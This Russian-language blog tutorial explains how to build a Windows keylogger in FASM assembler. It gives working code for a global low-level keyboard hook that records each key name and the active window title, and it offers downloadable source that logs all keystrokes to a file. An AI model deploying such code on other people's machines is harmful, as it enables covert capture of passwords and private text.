Blog. Just Blog

Кейлоггер на Ассемблере

Версия для печати Добавить в Избранное Отправить на E-Mail | Категория: Образ мышления: Assembler | Автор: ManHunter
Кейлоггер на Ассемблере
Кейлоггер на Ассемблере

Кейлоггеры - класс программ, которые перехватывают нажатия клавиш и сохраняют их в сухое прохладное место для последующего анализа. В зависимости от задачи, кейлоггеры могут относиться как к вредоносным программам, так и распространяться на вполне законных основаниях. Хороший пример условно полезного кейлоггера - автопереключатель раскладки Punto Switcher. Сегодня будем писать на Ассемблере простенький кейлоггер. До настоящей боевой малвары этому примеру как до Китая ползком, это, скорее, пример низкоуровневой работы с клавиатурой. Но в принципе, если хорошенько доработать код напильником, то получится полноценный кейлоггер, работающий в юзермоде и перехватывающий нажатия клавиш во всех приложениях.

Для работы нам понадобится всего одна структура, которой нет в инклудах FASM. Это не объекты, так что километры описаний не понадобятся.
  1. struct KBDLLHOOKSTRUCT
  2.         vkCode      dd ?
  3.         scanCode    dd ?
  4.         flags       dd ?
  5.         time        dd ?
  6.         dwExtraInfo dd ?
  7. ends
Теперь несколько строк теории. Для перехвата событий клавиатуры без использования драйверов и прочих ядерных вещей лучше всего использовать глобальный хук. Он ставится функцией SetWindowsHookEx с указанием типа хука WH_KEYBOARD_LL.
  1. .wminitdialog:
  2.         invoke  GetModuleHandle,0
  3.         mov     [hInstance],eax
  4.  
  5.         ; Установить низкоуровневый перехватчик клавиатуры
  6.         invoke  SetWindowsHookEx,WH_KEYBOARD_LL,\
  7.                 LowLevelKeyboardProc,[hInstance],NULL
  8.         mov     [hKeyHook],eax
  9.         ...
  10.         ...
  11.         ...
  12. .wmclose:
  13.         ; Снять хук
  14.         invoke  UnhookWindowsHookEx,[hKeyHook]
Когда надо остановить обработку или прервать ее на некоторое время, хук снимается функцией UnhookWindowsHookEx. Основные действия выполняются в функции перехватчика, которая указывается при установке хука.
  1. proc LowLevelKeyboardProc nCode:DWORD, wParam:DWORD, lParam:DWORD
  2.         pusha
  3.  
  4.         cmp     [nCode],HC_ACTION
  5.         jne     .loc_ret
  6.  
  7.         ; Нажата клавиша?
  8.         cmp     [wParam],WM_SYSKEYDOWN
  9.         je      .process_key
  10.         cmp     [wParam],WM_KEYDOWN
  11.         jne     .loc_ret
  12.  
  13. .process_key:
  14.         ; Указатель на KBDLLHOOKSTRUCT
  15.         mov     ebx,[lParam]
  16.  
  17.         ; Получить название нажатой клавиши
  18.         mov     eax,1
  19.         mov     edx,[ebx+KBDLLHOOKSTRUCT.scanCode]
  20.         shl     edx,16
  21.         add     eax,edx
  22.         mov     edx,[ebx+KBDLLHOOKSTRUCT.flags]
  23.         shl     edx,24
  24.         add     eax,edx
  25.         invoke  GetKeyNameText,eax,kname,500h
  26.  
  27.         ; Получить заголовок активного окна
  28.         invoke  GetForegroundWindow
  29.         invoke  GetWindowText,eax,wname,500h
  30.  
  31.         ; wname - заголовок активного окна
  32.         ; kname - название нажатой клавиши
  33.  
  34. .loc_ret:
  35.         popa
  36.         ; Пропустить событие дальше
  37.         invoke  CallNextHookEx,[hKeyHook],[nCode],[wParam],[lParam]
  38.  
  39.         ret
  40. endp
Параметр nCode должен иметь значение HC_ACTION. Тип сообщения от клавиатуры приходит в параметре wParam, нам достаточно обрабатывать WM_KEYDOWN или WM_SYSKEYDOWN. Если какое-то условие не совпало, то выполнение надо передавать дальше по цепочке обработчиков. Параметр lParam является указателем на структуру KBDLLHOOKSTRUCT, из которой извлекаются параметры нажатой клавиши. Дополнительно можно получить состояние клавиш-переключателей, раскладку клавиатуры, заголовок активного окна, в котором была нажата клавиша, а также прочие параметры системы на момент наступления события. Собранная информация в данном примере просто сбрасывается в файл.

В приложении пример программы с исходным текстом, которая перехватывает нажатия клавиш во всех приложениях и сохраняет их в файл log.txt. Не исключаю, что некоторые антивирусы отнесутся к программе с подозрением, это нормально, учитывая ее назначение.

Пример программы с исходным текстом (FASM)Пример программы с исходным текстом (FASM)

Keylogger.Demo.zip (2,898 bytes)


Поделиться ссылкой ВКонтакте
Просмотров: 322 | Комментариев: 7

Метки: Assembler

Комментарии

Отзывы посетителей сайта о статье
Дед (12.09.2024 в 00:12):
На Windows XP Pro SP3 программа отлично работает. Спасибо!
ManHunter (06.09.2024 в 09:44):
Если кому действительно надо, то скачают
Petya (03.09.2024 в 18:49):
У меня скачалось нормально. Но если заранее понятно, что будут вопросы - ИМХО,  залеплять паролем не глядя.
ManHunter (03.09.2024 в 17:35):
Я специально предупредил об этом в статье.
Илья (03.09.2024 в 17:34):
Браузеры с ума посходили со своими вирусами. Скачать архив пришлось с бубном в руках:)
ManHunter (02.09.2024 в 23:13):
Zeroes, поправил, спасибо! Проверил под Win10x64
Zeroes (02.09.2024 в 23:04):
под win10 падает

Добавить комментарий

Заполните форму для добавления комментария
Имя*:
Текст комментария (не более 2000 символов)*:

*Все поля обязательны для заполнения.
Комментарии, содержащие рекламу, ненормативную лексику, оскорбления и т.п., а также флуд и сообщения не по теме, будут удаляться. Нарушителям может быть заблокирован доступ к сайту.
Наверх
Powered by PCL's Speckled Band Engine 0.2 RC3
© ManHunter / PCL, 2008-2024
При использовании материалов ссылка на сайт обязательна
Время генерации: 0.08 сек. / MySQL: 2 (0.0074 сек.) / Память: 4.5 Mb
Наверх